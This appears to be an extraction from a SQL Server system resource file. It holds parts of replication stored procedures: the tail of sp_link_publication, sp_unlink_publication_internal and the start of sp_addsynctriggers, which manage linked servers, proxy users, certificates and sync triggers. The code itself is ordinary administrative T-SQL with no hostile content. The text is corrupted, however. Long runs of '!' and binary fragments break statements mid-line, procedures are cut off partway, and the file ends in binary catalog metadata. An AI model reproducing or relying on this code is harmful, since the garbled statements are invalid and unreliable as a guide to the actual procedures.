    @password sysname = null,-- only needed for standard mode
    @distributor sysname = @publisher
)
as
begin
    set nocount on
    declare @retcode int
                ,@publisherlink sysname
                ,@rpcproc nvarchar(4000)
                ,@islocalpub bit
                ,@existingsecuritymode int
                ,@contextuser sysname
                ,@fcreateduniquelink bit
                ,@fcreateduser bit
                ,@fprepcertonsub bit
                ,@fgrantcertontarget bit
                ,@netname sysname
                ,@certname sysname
                ,@trigcount int
                ,@palcheck_retcode int
                ,@regencmd nvarchar(1000)
                ,@dbname sysname
                ,@pubversion varbinary(16)
                ,@publisherlinkusertodrop sysname

    --
    --  Security Check
    --
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
        return (1)
    --
    -- Parameter check: @security_mode
    --
    if @security_mode not in (0,1,2)
    begin
        raiserror(21055, 16, -1, '@security_mode','sp_link_publication')
        return (1)
    end
    --
    -- SQL Authenticated linked entry - login cannot be null
    --
    if (@security_mode = 0 and @login is null)
    begin
        raiserror(21055, 16, -1, '@login','@security_mode = 0')
        return (1)
    end
    --
    -- Create tables if necessary
    --
    if object_id('dbo.MSreplication_objects') is null or object_id('dbo.MSsubscription_properties') is null
    begin
        exec @retcode = sys.sp_MScreate_sub_tables_internal @tran_sub_table = 1
        if @@error <> 0 or @retcode <> 0
            return 1
        --raiserror(20588, 16, -1)
        --return 1
    end

    --
    -- Call cleanup scripts to remove the old linked server (if exists), related triggers
    --  and certificates/logins/users.
    --
    exec @retcode = sys.sp_unlink_publication_internal
        @publisher = @publisher
        ,@publisher_db = @publisher_db
        ,@publication = @publication
        ,@publisherlinkusertodrop = @publisherlinkusertodrop output

    if @@ERROR <> 0 or @retcode <> 0
        return 1

    -- 
    -- We can only drop the user, if there are no synctran triggers
    --  due to dependancy issues. We can't drop the triggers at this point
    --  since we could run into an issue when the sp errors out before the 
    --  triggers are created where DML would be allowed on the publication's tables.
    --  Thus we only attempt to drop the user when there are no sync triggers. 
    --
    select @trigcount = isnull(count(object_name),0)
        from dbo.MSreplication_objects 
        where upper(publisher) = @publisher
            and publisher_db = @publisher_db
            and publication = @publication
            and object_type = 'T'
    

    if @trigcount = 0 and @publisherlinkusertodrop is not null
    BEGIN
        exec @retcode = sys.sp_dropuser @name_in_db = @publisherlinkusertodrop
        if @@error <> 0 or @retcode <> 0
            return (1)
    END

    --
    -- initialize
    --
    select @publisher = upper(@publisher)
            ,@distributor = upper(@distributor)
            ,@password = case when (@password = N'') then null else @password end
            ,@publisher_db = isnull(@publisher_db, db_name())
            ,@islocalpub = case when (upper(@publisher) = upper(@@servername)) then 1 else 0 end
            ,@fcreateduniquelink = 0
            ,@fprepcertonsub = 0
            ,@fgrantcertontarget = 0
    --
    -- Check for an entry in MSsubscription_properties that 
    -- was created uniquely for this subscription by sp_link_publication
    -- should have the prefix as defined
    --
    select @publisherlink = publisherlink 
            ,@existingsecuritymode = publisher_security_mode
    from MSsubscription_properties 
    where upper(publisher) = @publisher
        and publisher_db =  @publisher_db
        and publication = @publication
    
    --
    -- process based on security_mode
    --
    if @security_mode in (0,1)
    begin
        --
        -- Standard or Integrated
        --
        if (@islocalpub = 1)
        begin
            --
            -- local publisher - we will not use linked server
            -- for security_modes 0 and 1. Set publisher link
            -- to servername for reference
            --
            select @publisherlink = @publisher
            if @security_mode = 0
            begin
                --
                -- Special processing for standard security                
                -- the user for publiser db for given login for SQL authentication
                -- will have a proxy user in subscriber db with db_owner privileges
                -- get the user in publisher db
                --
                if (ISNULL(IS_SRVROLEMEMBER('sysadmin'),@login) = 1)
                begin
                    --
                    -- special case for sysadmin users
                    -- map contextuser to dbo
                    --
                    select @contextuser = 'dbo'
                end
                else
                begin
                    select @rpcproc = 
                        N'select @p1 = a.name from ' + quotename(@publisher_db)
                            + N'.sys.database_principals as a join master.dbo.syslogins as b on a.sid = b.sid where b.loginname = @p2'
                    exec @retcode = sys.sp_executesql @stmt = @rpcproc
                        ,@params = N'@p1 sysname output, @p2 sysname'
                        ,@p1 = @contextuser output
                        ,@p2 = @login
                end
                --
                -- valid pubdb user should exist
                --
                if @contextuser is null
                begin
                    raiserror(21855, 16, 1, @login, @publisher_db)
                    return (1)
                end
                --
                -- for sysadmin logins and the case when the user for the publisher login does not exist on
                -- this subscriber db - we will use proxy 
                -- for other case when user for the publisher login exists on the subscriber db we will use it
                --
                if (lower(@contextuser) = 'dbo') or 
                    not exists (select * from sys.database_principals as a join master.dbo.syslogins as b 
                                    on a.sid = b.sid
                                    where a.name = @contextuser and b.loginname = @login)
                begin
                    --
                    -- we will use a proxy user on both publisher db and subscriber db to avoid SA escalation
                    --
                    exec @retcode = sys.sp_MSprocesspublisherlink @mode = 1, @islocalpub = @islocalpub, @securitymode = @security_mode
                    if @@error <> 0 or @retcode <> 0
                        return(1)
                    --
                    -- we will also create the proxy user on publishing db
                    --
                    select @rpcproc = quotename(@publisher_db) + N'.sys.sp_MSprocesspublisherlink'
                    exec @retcode = @rpcproc @mode = 1, @islocalpub = @islocalpub, @securitymode = @security_mode
                    if @@error <> 0 or @retcode <> 0
                        return(1)
                    select @contextuser = N'repllinkproxy'
  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(DMHv9
                          ,@login = N'repllinkproxy' -- override user specified local login
                            ,@fcreateduser = 1
                end
            end -- @security_mode = 0
        end -- (@islocalpub = 1)
        else
        begin -- (@islocalpub = 0)
            --
            -- Remote publisher - we will create a unique linked server entry for this subscription
            -- if there is one existing we will drop and recreate it
            --
            select @publisherlink = sys.fn_MSrepllinkname(N'REPLLINK', @publisher, @publisher_db, @publication, db_name())
            --
            -- Refresh the linked entry
            --
            exec @retcode = sys.sp_MSprocesspublisherlink 1, @islocalpub, @security_mode, @publisherlink, @publisher, @login, @password
            if @@error <> 0 or @retcode <> 0
                return(1)
            --
            -- we have predefined user context for SQL authentication
            --
            select @contextuser = N'repllinkproxy'
                    ,@login = N'repllinkproxy' -- local login will always be this
                    ,@fcreateduniquelink = 1
                    ,@fcreateduser = 1
        end -- (@islocalpub = 0)
    end
    else
    begin
        --
        -- static linked server case
        --
        if (@existingsecuritymode in (0,1) and @islocalpub = 0)
        begin
            --
            -- we might have a linked entry that was created for standard/integrated mode 
            -- drop this linked entry
            --
            select @publisherlink = sys.fn_MSrepllinkname(N'REPLLINK', @publisher, @publisher_db, @publication, db_name())
            exec sys.sp_MSprocesspublisherlink 2, @islocalpub, @existingsecuritymode, @publisherlink, @publisher
        end
        --
        -- publisher should exist in sys.servers
        --
        select @publisherlink = name
            ,@netname = upper(data_source)
        from sys.servers 
        where upper(name) = @publisher
        if (@publisherlink is null)
        begin
            raiserror(20620, 16, -1, @publisher)
            return (1)
        end
        --
        -- Adjust publisher name as necessary
        --
        if (@netname != @publisher)
        begin
            select @publisher = @netname
        end
    end
   
    --
    -- Do PAL validation on local or remote publisher db
    -- Build a command string that can be executed on the context of 
    -- the security mode and on a given link if necessary.
    -- This also avoids direct usage of REVERT which 
    -- is not supported on 80 compatible databases
    --
    select @rpcproc = N'declare @cmd nvarchar(4000) ' 
                + N'declare @abc table( rc int ) ' 
                + N'select @cmd = N''declare @retcode int exec @retcode = ' 
                + sys.fn_replreplacesinglequote(quotename(@publisher_db)) 
                + N'.dbo.sp_MSreplcheck_pull @publication = N''''' 
                + replace(@publication, N'''', N'''''''''') 
                + N''''' select @retcode'' ' 
                + N'insert into @abc(rc) ' 
                + N'execute (@cmd) ' 
    --
    -- for security mode 0, execute in proxy login context
    --
    if (@security_mode = 0)
    begin
        select @rpcproc = @rpcproc 
                + N'as login = N'''  
                + sys.fn_replreplacesinglequote(@login) + N''' '
    end
    --
    -- For remote publisher specify the link where the execution needs to happen
    -- This validates the linked entry and ensures
    -- proper processing for resource SPs on publisher
    --
    if (@islocalpub = 0)
    begin
        select @rpcproc = @rpcproc 
                    + N'at ' 
                    + quotename(@publisherlink)
                    + N' select @palrc = rc from @abc '
    end
    --
    -- execute this command under proper user context
    -- and get PAL check return code
    --
    exec @retcode = sp_executesql 
                                     @stmt = @rpcproc
                                    ,@params = N'@palrc int output' 
                                    ,@palrc = @palcheck_retcode output
    if @@error <> 0 or @retcode <> 0 or @palcheck_retcode <> 0
        goto UNDO
  
 
    --
    -- RPC to get commands needed to regenerate subscriber triggers
    --
    create table #tab1 ( cmd nvarchar(4000) )
    select @dbname = db_name()
    
    --
    -- Check to see if initial sync is done, if not skip trigger regeneration
    --
    declare @num_dup_rows int
            ,@agent_id int
    select @agent_id = avg(id), @num_dup_rows = count(*) from MSsubscription_agents where
        UPPER(publisher) = UPPER(@publisher) and
        publisher_db = @publisher_db and
        -- we know that we have independent agents (enforced in
        --  sp_addpublication) so specify the publication name
        publication = @publication and
        -- We know the subscription must be updateble. This
        -- is to reduce the chance of dup rows.
        update_mode <> 0
       
    if @agent_id is not null and @num_dup_rows <= 1
    begin
        create table #ver (version varbinary(16))
        declare @cmd nvarchar(500)
        select @cmd = N'execute (N''select @@microsoftversion'')'
        if (@security_mode = 0)
            select @cmd = @cmd + N'as login = N''' + sys.fn_replreplacesinglequote(@login) + N''' ' 
        if (@islocalpub = 0)    
            select @cmd = @cmd + N' at ' + QUOTENAME(@publisherlink)
       
        insert into #ver exec sp_executesql @stmt=@cmd
        select @pubversion = version from #ver
        drop table #ver
        
        select @regencmd = ''
        
        if (@islocalpub != 0 or @pubversion > 0x09000577)
        begin
            if (@islocalpub = 0)
            begin
                select @regencmd = QUOTENAME(@publisherlink) + N'.'
            end
            
            select @regencmd = @regencmd 
                + QUOTENAME(@publisher_db)
                + N'.dbo.sp_script_synctran_commands N''' 
                + sys.fn_replreplacesinglequote(@publication) 
                + N''', N''all'', 1'
    
            if (@security_mode = 0)
                insert into #tab1 exec (@regencmd) as login = N'repllinkproxy'
            else
                insert into #tab1 exec (@regencmd)   
        end
        else -- not possible to fall through on a local case
        begin
            select @regencmd = QUOTENAME(@publisherlink)
                 + N'.' + QUOTENAME(@publisher_db)
                 + N'.dbo.sp_script_synctran_commands N''' 
                 + sys.fn_replreplacesinglequote(@publication) 
                 + N''', N''all'''
            
            if (@security_mode = 0)
                insert into #tab1 exec (@regencmd) as login = N'repllinkproxy'
            else
                insert into #tab1 exec (@regencmd)        
    
            delete from #tab1 WHERE cmd NOT LIKE N'if (@@microsoftversion >= 0x080002C0) begin exec sp_addsynctriggers%' COLLATE database_default
           
            declare @offset_length int
            select @offset_length = LEN(N'if (@@microsoftversion >= 0x080002C0) begin exec ') + 2
            update #tab1 set cmd = SUBSTRING(cmd, 0, @offset_length) + N'sys.' + SUBSTRING(cmd, @offset_length, LEN(cmd)-@offset_length-3) + N',1 end' 
            -- tack the extra parameter on the end, and add sys. in front of the SP name
        end
    end
    BEGIN TRAN
    --
    -- Now store the linked server information in MSsubscription_properties
    --
    if exists (select * from MSsubscription_properties 
                where upper(publisher) = @publisher
                and publisher_db =  @publisher_db
                and publication = @publication) 
    begin
        update MSsubscription_properties set
            publisher_login !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	#E&9
= null,
            publisher_password = null,
            publisher_security_mode = @security_mode,
            publisherlink = case when (@security_mode in (0,1)) then N'xxxx' else @publisherlink end,
            publisherlinkuser = case when (@security_mode in (0,1) and @contextuser = N'repllinkproxy') then N'xxxx' else @contextuser end,
            distributor = isnull(@distributor, distributor)
        where upper(publisher) = @publisher
        and publisher_db =  @publisher_db
        and publication = @publication
    end
    else
    begin
        insert into MSsubscription_properties (publisher, publisher_db, publication, publication_type,
            publisher_security_mode, distributor, distributor_security_mode, publisherlink, publisherlinkuser)
        values (@publisher, @publisher_db, @publication, 0, 
            @security_mode, ISNULL(@distributor, @publisher), 1, 
            case when (@security_mode in (0,1)) then N'xxxx' else @publisherlink end, 
            case when (@security_mode in (0,1) and @contextuser = N'repllinkproxy') then N'xxxx' else @contextuser end)
    end
    --
    -- Check for errors in update/insert
    --
    if @@error <> 0
    BEGIN
        rollback tran
        goto UNDO
    END

    --
    -- recreate trigger based on security mode
    -- get the trigger definition
    --

    exec @retcode = xp_execresultset N'select cmd from #tab1', @dbname 
    if (@retcode != 0 or @@error <> 0)
    begin
        rollback tran
        goto UNDO
    end

    drop table #tab1
    
    --
    -- get count of triggers
    --
    select @trigcount = isnull(count(object_name),0)
                from dbo.MSreplication_objects 
                where upper(publisher) = @publisher
                    and publisher_db = @publisher_db
                    and publication = @publication
                    and object_type = 'T' 

    --
    -- certificate signing stage 
    -- proceed only if we have triggers available
    --
    if (@security_mode = 0) and (@trigcount >= 3) and (@trigcount % 3 = 0)
    begin
        --
        -- Create a well known certificate on subdb
        --
        select @certname = N'REPLCERT_' + db_name() + cast(newid() as sysname)
        exec @retcode = sys.sp_MSrepltrigpreparecert @mode = 1
                                    ,@certname = @certname
                                    ,@publisher = @publisher
                                    ,@publisher_db = @publisher_db
                                    ,@publication = @publication
        if @@error != 0 or @retcode != 0
        begin
            rollback tran
            goto UNDO
        end
        select @fprepcertonsub = 1
        --
        -- grant privileges necessary
        --
        if (@islocalpub = 0)
        begin
            select @rpcproc = N'master.sys.sp_MSrepltrigcertgrant'
            exec @retcode = @rpcproc @mode = 1
                                ,@islocalpub = @islocalpub
                                ,@certname = @certname
                                ,@targetdb = N'master'
        end
        else
        begin
            select @rpcproc = quotename(@publisher_db) + N'.sys.sp_MSrepltrigcertgrant'
            exec @retcode = @rpcproc @mode = 1
                                ,@islocalpub = @islocalpub
                                ,@certname = @certname
                                ,@targetdb = @publisher_db
        end
        if @@error != 0 or @retcode != 0
        begin
            rollback tran
            goto UNDO
        end
        select @fgrantcertontarget = 1
    end --  if (@security_mode = 0) and (@trigcount >= 3) and (@trigcount % 3 = 0)

    commit tran
    --
    -- all done
    --
    return 0

UNDO:
    --
    -- clean up certificates if they are created, granted on target
    -- drop the link if it has been created
    -- drop local user if created for local publisher
    --
    if (@fgrantcertontarget = 1)
    begin
        if (@islocalpub = 0)
        begin
            select @rpcproc = N'master.sys.sp_MSrepltrigcertgrant'
            exec @rpcproc @mode = 2
                                ,@islocalpub = @islocalpub
                                ,@certname = @certname
                                ,@targetdb = N'master'
        end
        else
        begin
            select @rpcproc = quotename(@publisher_db) + N'.sys.sp_MSrepltrigcertgrant'
            exec @rpcproc @mode = 2
                                ,@islocalpub = @islocalpub
                                ,@certname = @certname
                                ,@targetdb = @publisher_db
        end
    end
    if (@fprepcertonsub = 1)
    begin
        exec sys.sp_MSrepltrigpreparecert @mode = 2
                                    ,@certname = @certname
                                    ,@publisher = @publisher
                                    ,@publisher_db = @publisher_db
                                    ,@publication = @publication
    end
    if (@fcreateduniquelink = 1)
    begin
        exec @retcode = sys.sp_MSprocesspublisherlink @mode = 2
                        ,@islocalpub = @islocalpub, @securitymode = @security_mode
                        ,@linkname = @publisherlink, @remserver = @publisher
    end
    if (@fcreateduser = 1)
    begin
        exec sys.sp_dropuser @name_in_db = @contextuser
    end
    --
    -- return error
    --
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(F8 Gvr=create procedure sys.sp_unlink_publication_internal 
(
    @publisher sysname         -- publishing server name
    ,@publisher_db sysname    -- publishing database name
    ,@publication sysname      -- publication name
    ,@reserved nvarchar(10)=null -- 'drop all for all subscriptions'
    ,@publisherlinkusertodrop sysname output -- name of the publisher link user to drop after this procedure completes (null if there is no need to drop any publisher link user)
)
as
begin
    set nocount on
    declare @retcode int
            ,@publisherlink sysname
            ,@publisherlinkuser sysname
            ,@rpcproc nvarchar(4000)
            ,@security_mode int
            ,@islocalpub bit
            ,@modedropall nvarchar(10)
            ,@certname sysname

    --
    -- initialize
    --
    select @publisher = upper(@publisher)
        ,@reserved = lower(@reserved)
        ,@islocalpub = case when (upper(@publisher) = upper(publishingservername())) then 1 else 0 end
        ,@modedropall = N'drop_all'
    --
    -- check if we need to unlink
    --
    if object_id('MSsubscription_properties') is not null
    begin
        if (@reserved = @modedropall)
        begin
            --
            -- all subscriptions
            -- unlink each subscription recursively
            --
            declare #hcsubprop cursor local fast_forward for 
                select distinct publisher, publisher_db, publication
                from dbo.MSsubscription_properties
            open #hcsubprop
            fetch #hcsubprop into @publisher, @publisher_db, @publication
            while (@@fetch_status != -1)
            begin
                exec @retcode = sys.sp_unlink_publication @publisher, @publisher_db, @publication
                if (@retcode != 0 or @@error != 0)
                    return (1)
                fetch #hcsubprop into @publisher, @publisher_db, @publication
            end
            close #hcsubprop
            deallocate #hcsubprop
        end -- @reserved = @modedropall
        else
        begin -- @reserved != @modedropall
            --
            -- specific subscription
            -- Check if we need to do any processing
            --
            if object_id('MSsubscription_properties') is null
                return 0
            if not exists (select * from sys.columns where 
                                object_id = object_id('MSsubscription_properties') 
                                and name in ('publisherlink', 'publisherlinkuser'))
                return 0
            --
            -- check for publisher link related information
            --
            select @publisherlink = case when (publisher_security_mode in (0,1)) 
                            then sys.fn_MSrepllinkname(N'REPLLINK', upper(@publisher), @publisher_db, @publication, db_name())
                            else publisherlink end
                ,@publisherlinkuser = case when (publisher_security_mode in (0,1) and publisherlinkuser = N'xxxx') 
                            then N'repllinkproxy' else publisherlinkuser end
                ,@security_mode = publisher_security_mode
            from dbo.MSsubscription_properties
            where upper(publisher) = @publisher
                and    publisher_db = @publisher_db
                and    publication = @publication 

            if (@publisherlink is not null)
            begin
                --
                -- skip this processing for cases
                -- where MSreplication_objects does not exist
                -- or we have an older version of MSreplication_objects
                --
                if object_id('MSreplication_objects') is null
                    return 0
                if not exists (select * from sys.columns where 
                                    object_id = object_id('MSreplication_objects') 
                                    and name = 'publication')
                    return 0
                --
                -- we have link information 
                -- check if we need to remove certificates
                --
                select distinct @certname = c.name 
                from sys.crypt_properties cp join sys.certificates c 
                    on cp.thumbprint = c.thumbprint
                where object_name(cp.major_id) in 
                    (select object_name 
                        from dbo.MSreplication_objects
                        where upper(publisher) = @publisher
                            and publisher_db = @publisher_db
                            and publication = @publication
                            and object_type = 'T')
                if (@certname is not null)
                begin
                    --
                    -- remove cert grant from target db
                    --
                    if (@islocalpub = 0)
                    begin
                        select @rpcproc = N'master.sys.sp_MSrepltrigcertgrant'
                        exec @rpcproc @mode = 2
                                            ,@islocalpub = @islocalpub
                                            ,@certname = @certname
                                            ,@targetdb = N'master'
                    end
                    else
                    begin
                        select @rpcproc = quotename(@publisher_db) + N'.sys.sp_MSrepltrigcertgrant'
                        exec @rpcproc @mode = 2
                                            ,@islocalpub = @islocalpub
                                            ,@certname = @certname
                                            ,@targetdb = @publisher_db
                    end
                    --
                    -- remove cert from subscriber db
                    --
                    exec sys.sp_MSrepltrigpreparecert @mode = 2
                                                ,@certname = @certname
                                                ,@publisher = @publisher
                                                ,@publisher_db = @publisher_db
                                                ,@publication = @publication
                end

                if (@islocalpub = 0 and @security_mode in (0,1))
                begin
                    --
                    -- remote publisher - drop unique link
                    --
                    exec @retcode = sys.sp_MSprocesspublisherlink @mode = 2
                        ,@islocalpub = @islocalpub, @securitymode = @security_mode
                        ,@linkname = @publisherlink, @remserver = @publisher
                    if @@error <> 0 or @retcode <> 0
                        return (1)
                end
                if (@security_mode = 0 and @publisherlinkuser is not null )
                begin
                    --
                    -- remove context user if no other subscriptions are using it
                    --
                    if not exists (select * 
                        from dbo.MSsubscription_properties
                        where publisherlinkuser = case when (@publisherlinkuser = N'repllinkproxy') then N'xxxx' else @publisherlinkuser end
                            and (upper(publisher) != @publisher
                                or publisher_db != @publisher_db
                                or publication != @publication))
                    begin
                        if exists (select * from sys.database_principals where name = @publisherlinkuser)
                        begin
                            set @publisherlinkusertodrop = @publisherlinkuser
                        end
                    end
                end
                --
                -- update this entry in MSsubscription_properties
                --
                update MSsubscription_properties 
                set publisherlink = null
        !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(G8Jv0create procedure sys.sp_addsynctriggers 
(
    @sub_table       sysname,            -- table name 
    @sub_table_owner sysname,            -- table owner
    @publisher      sysname,            -- publishing server name
    @publisher_db   sysname,            -- publishing database name. If NULL then same as current db
    @publication    sysname,            -- publication name.
    @ins_proc       sysname,
    @upd_proc       sysname,
    @del_proc       sysname,
    @cftproc        sysname,
    @proc_owner        sysname,
    @identity_col   sysname = 'NULL', 
    @ts_col         sysname = 'NULL',
    @filter_clause  nvarchar(4000) = 'NULL',
    @primary_key_bitmap  varbinary(4000),
    @identity_support bit = 0,
    @independent_agent bit = 0
    ,@distributor    sysname                -- distribution server name
    ,@pubversion int = 1    -- 1 = when this call is generated by pre 80SP3 publishers, 2 = 80SP3 or later
    ,@dump_cmds  bit = 0    -- 1 = dump sync trigger creation commands
)
AS
BEGIN
    set nocount on

    declare @db                        sysname
                ,@trigname                sysname
                ,@ins_trig                sysname
                ,@upd_trig                sysname
                ,@del_trig                sysname
                ,@dbname                sysname
                ,@ccols                    int
                ,@cnt                    int
                ,@retcode                int
                ,@cmd                    nvarchar(4000)
                ,@merge_pub_object_bit    int
                ,@object_id                int
                ,@constraint_name        sysname
                ,@quoted_name            nvarchar(540)
                ,@qualname                nvarchar(540)
                ,@loctrancount             int
                ,@ftscolnull bit
                ,@fidentcolnull bit
                ,@pubsecuritymode int
                ,@publogin sysname
                ,@pubencpassword nvarchar(524)
                ,@publisherlink sysname
                ,@updatemode int
                ,@old_id int 
                ,@old_name sysname
                ,@parent_obj int

    select     @merge_pub_object_bit     = 128
                ,@fidentcolnull = case when (@identity_col in ('null', 'NULL')) then 1 else 0 end
                ,@ftscolnull = case when (@ts_col in ('null', 'NULL')) then 1 else 0 end
                ,@quoted_name = N'msrepl_tran_version'

    --  Security Check
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
        RETURN(1)
    --
    -- validate @pubversion
    --
    if (@pubversion is null)
        select @pubversion = 1
    if (@pubversion not in (1,2))
        return 1
    
    if @dump_cmds = 1
    begin
        select @qualname = case when (lower(@sub_table_owner) = N'null') 
            then QUOTENAME(@sub_table) 
            else QUOTENAME(@sub_table_owner) + N'.' + QUOTENAME(@sub_table) end
        if object_id(@qualname) is null
            return (0)
    end
    --
    -- Dist Agent executes this sproc with 'implicit transasctions on'.
    -- We take care of our own transactions boundaries to get out of tran 
    --
    set implicit_transactions off
    select @loctrancount = @@trancount
    while @@trancount > 0 commit tran

    -- check valid server and database setting
    -- 1. nested trigger have to be on
    if exists (select * from master.dbo.sysconfigures where config = 115 and value = 0)
    begin
        raiserror(21081, 16, 1)
        return (1)
    end

    -- 2. db option: recursive trigger have to be off
    if DATABASEPROPERTYEX(db_name(), N'IsRecursiveTriggersEnabled') <> 0
    begin
        raiserror(21082, 16, 1)
        return (1)
    end    

    -- 2. db compatibility level have to be 7.0
    if exists (select * from master.dbo.sysdatabases where dbid = db_id() and cmptlevel < 70)
    begin
        raiserror(21083, 16, 1)
        return (1)
    end    
    --
    -- qualify the destination table
    --
    select @qualname = case when (lower(@sub_table_owner) = N'null') 
                                then QUOTENAME(@sub_table) 
                                else QUOTENAME(@sub_table_owner) + N'.' + QUOTENAME(@sub_table) end
    --
    -- begin transaction for the processing
    --
    BEGIN TRANSACTION
    -- Verify that table exists 
    select @object_id = object_id (@qualname)
    if not (@object_id is null)
    begin
        EXEC %%Object(MultiName = @qualname).LockMatchID(ID = @object_id, Exclusive = 1, BindInternal = 0)
        --EXEC %%Object(MultiName = @qualname).LockExclusiveMatchID(ID = @object_id)
        if @@error <> 0
            select @object_id = null
    end


    if @object_id is null
    begin
        -- Save point not supported in distributed txn, explicitly or escalated
        ROLLBACK TRANSACTION
        raiserror(20507, 16, 1, @qualname, 'sp_addsynctriggers')
        return (1)
    end    
    -- Add default version guid column
    -- The default constraint is transfered with snapshot already for native publication.
    -- Need to detect to see if default constraint already there.
    if @dump_cmds = 0
    begin
        if not exists (select * 
            from sysconstraints as con join sys.columns as col 
                on con.colid = col.column_id
                    and con.id = col.object_id
                    and OBJECTPROPERTY ( con.constid , 'IsDefaultCnst' ) = 1 -- default
                    and col.object_id = @object_id 
                and col.name = @quoted_name)
        begin 
            select @constraint_name = 'MSrepl_tran_version_default_' + convert(nvarchar(10), @object_id)
            exec ('alter table ' + @qualname + 
                ' add constraint ' + @constraint_name + 
                ' default newid() for ' + @quoted_name )
            if @@error <> 0
            begin
                ROLLBACK TRANSACTION
                return (1)
            end
        end
    end
    --
    -- determine if we should pass @cftproc to scripting of synctran trigger
    -- Check if the subscription needs scripting for queued replication. 
    -- For publishers that are pre 80SP3 - cftproc should not be null
    -- that takes care of it. For publisher that 80SP3 or later - we need
    -- to validate the article information
    --
    -- Check the version of the publisher
    --
    if ((@pubversion = 2) and not (@cftproc is null or lower(@cftproc) = 'null'))
    begin
        --
        -- Publisher is 80SP3 or later
        -- @cftproc should exist and article information should exist
        -- for this subscription
        --
        if not exists (select artid 
            from (dbo.MSsubscription_articles as a join dbo.MSsubscription_agents as b
                    on a.agent_id = b.id)
            where UPPER(b.publisher) = UPPER(@publisher)
                and b.publisher_db = @publisher_db
                and b.publication = @publication
                and a.dest_table = object_name(@object_id))
        begin
            --
            -- There is no article information
            -- disable queued specific scripting 
            --
            select @cftproc = 'null'
        end
    end    
    --
    -- Create the replication metadata tables for updating subscribers
    --
    if @dump_cmds = 0
    begin
        if (LOWER(@cftproc) = 'null')
        begin
            exec @retcode = sys.sp_MScreate_sub_tables_internal
                        @tran_sub_table = 1,
                        @property_table = 1,
                        @sqlqueue_table = 0
        end
        else
        begin
            exec @retcode = sys.sp_MScreate_sub_tables_internal
                        @tran_sub_table = 1,
                        @property_table = 1,
                        !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`A-rF)
fH*nL0-j88
Kdatabase_id0-jctotal_log_size_in_bytes0-jcused_log_space_in_bytes0-j;;gused_log_space_in_percent0-ޚW@procedure_schema0-ޚS@parameter_name0-ݜI@publisher0-ݜO@publisher_db0-ݜM@publication0-ݜ88
I@runstatus-h0-hA@input0-|4_owning_principal_name0-|4]owning_principal_sid0-|UUkowning_principal_sid_binary0-|4Oinstance_name0-|4Yinstance_pipe_name0-|88
OOS_process_id0-|==eOS_process_creation_date0-|
4
Iheart_beat0-|	88
Kpdw_node_id0-w!E@tabname0-688
A@objid0-6I@publisher0-6O@publisher_db0-6M@publication0-6G@trigname0-6G@procname0-6K@proc_owner0-6E@cftproc0-6	88
G@agent_id0-6
O@identity_col0-6C@ts_col0-6@Q@filter_clause0-6
[@primary_key_bitmap0-688
K@pubversion0-6hhC@falter0-&88
K@trigger_id0-&S@connect_string0-&A@owner0-?@dbms0-E@version0-I@publisher0-A@owner0-A@table0-K@columnmask0-I@rowfilter0-jhhW@fDisableProcExec0-(ƜI@publisher0-(ƜO@publisher_db0-(ƜM@publication0-(ƜK@subscriber0-(ƜQ@subscriber_db0-M@publication0-E@article0-88
I@tablenick0-$$E@rowguid0-88
Q@conflict_type0-88
